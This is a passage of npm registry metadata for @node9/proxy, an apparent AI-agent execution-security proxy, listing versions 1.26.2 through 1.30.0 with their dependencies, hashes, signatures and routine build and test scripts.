MCP.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.26.2_1779429917476_0.5759479252257407","host":"s3://npm-registry-packages-npm-production"}},"1.26.3":{"name":"@node9/proxy","version":"1.26.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.26.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f2a4977a7f0da90c9b7ecf9b26c3dc0574e5ca83","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.26.3.tgz","fileCount":17,"integrity":"sha512-k/F2W6Q5VNz2uKRu5wJK4ttLRy/eNqLSEbCYO1wM3efuFAP7Sm4BZC7Sqv/E9wFtbUkE74ZfDhm2uzijeNn1bg==","signatures":[{"sig":"MEQCIGewYmlNz4hHelxgfLZYPAetqqtC0ESRRtYn4rZNHgX/AiBj/Fjn6sl/GNbivGOij9HDhojVFyTjmEguPiJFdCT9TA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.26.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3926100},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f10b8bf816f8b2b1e6c3323c03f9dcfbd0d9edcb","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.26.3_1779430940960_0.05693868053626949","host":"s3://npm-registry-packages-npm-production"}},"1.27.0":{"name":"@node9/proxy","version":"1.27.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.27.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1d0bfd8e68b07eac19c44d4ea68a8fc19ff2b37a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.27.0.tgz","fileCount":17,"integrity":"sha512-OY0W/E2KzB4c+hMdqadGnGaEIKe7ouYqfMXvkj+DBX/KcOBNKC5/c2PJA58SGlaUdE5M3CJeefKEYjZvDY3m+w==","signatures":[{"sig":"MEUCIGpTpZejEoGLcNeyJU2WlgAUgrBwHxaXJjnG+XzqqgoYAiEAwllcjubYX7hw8u8XvwuIuJJ6/IvtKJYh1NuHwwwQUWE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.27.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3946605},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"fc5615a22a0891b7b835539a649db20e9f0b5ddf","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.27.0_1779642265078_0.23986418821313893","host":"s3://npm-registry-packages-npm-production"}},"1.27.1":{"name":"@node9/proxy","version":"1.27.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.27.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"0e925cc642106181d6b1f412aae4c71f8f2bc58f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.27.1.tgz","fileCount":17,"integrity":"sha512-rolSRNS6m6wAE/WToFhudeNVoH+5kfFcek1ClCt/D3+VTib3KKmCzWma4gO2Sq7H8bhYsU69HgxZiFP1pVsUCw==","signatures":[{"sig":"MEUCIQDPwr42aXSJicMtF4LYs9bpXp503KlzD0Qa2/2SVdkK/QIgSAtJGeV1aB6q0hHiRA8TdxF3omgaZ/W8Nia84jLqvVc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.27.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3947104},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f7ab25601903f676ac8d401ce2001565d1e3fec4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.27.1_1779743521362_0.2626289047965833","host":"s3://npm-registry-packages-npm-production"}},"1.28.0":{"name":"@node9/proxy","version":"1.28.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.28.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"017c5a2e7097a2fcdc9b6e6b0a41b04a8c83d719","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.28.0.tgz","fileCount":17,"integrity":"sha512-P3I2HaIB25eiu84uCw6hUCyMj6X3IZYUZKGWnS/P5nFCJLAhlXTjI+FWV6vewJkzr1n9Z+yVmVdqoDgnJGTlwQ==","signatures":[{"sig":"MEUCIBDTCYtZwIBhBkI5XQkG3TujJtd7PGsnverMAvV2QnY3AiEAveQh/nvv9vwKm4qV32QP61Na8ii6hoHrCnOVHLMn4GE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.28.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3969603},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"934e511cb3eefbed4277bbb5f9b72e437eb6ade2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.28.0_1779899930017_0.9042856761319917","host":"s3://npm-registry-packages-npm-production"}},"1.29.0":{"name":"@node9/proxy","version":"1.29.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.29.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b674ba98d32c1c008662bc5e6e86c0f44ccd5751","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.29.0.tgz","fileCount":17,"integrity":"sha512-uwpLpm/SAbVTtLs76pIy/9lMyN79gHbvx2ITtkCTaNOGoCNz2Q3YxMiBeBCJIpZUum0aikO2dRnMbjoye/zOyQ==","signatures":[{"sig":"MEYCIQD96dNynGu2yUT4MSPY5J70stJVnM8yJtUNJjVlIiwoYgIhAKCnWtp5kfjzof1mfSzxEOg0bugaO2FJWQSCasBOgIST","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.29.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4045143},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"83044e844942108f4211738b8b28fbe9e1f3d088","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.29.0_1780813365858_0.09000409320193681","host":"s3://npm-registry-packages-npm-production"}},"1.30.0":{"name":"@node9/proxy","version":"1.30.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.30.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"56383c5e9fba51497545d8338f1d0f59bbf1a399","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.30.0.tgz","fileCount":17,"integrity":"sha512-MlxJvCo/5K+/foTY/VEDVpZpo1GS0YxKcPQ4huvY6npIs3qXDPM11m4yYApqKAE/ICmgMHHhljZIOULAOWsENw==","signatures":[{"sig":"MEUCID9YMNd8t/LOfL0lOji8SYSCIUUQLw8nByV0KgJDas2cAiEAyfyYtWbLXCCQqeW/etf8hkmpgw3ibp//XygvfbzGzC8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.30.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4055072},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"aa61cdf0040693dbfb6de26d94734dc67d61a33f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. 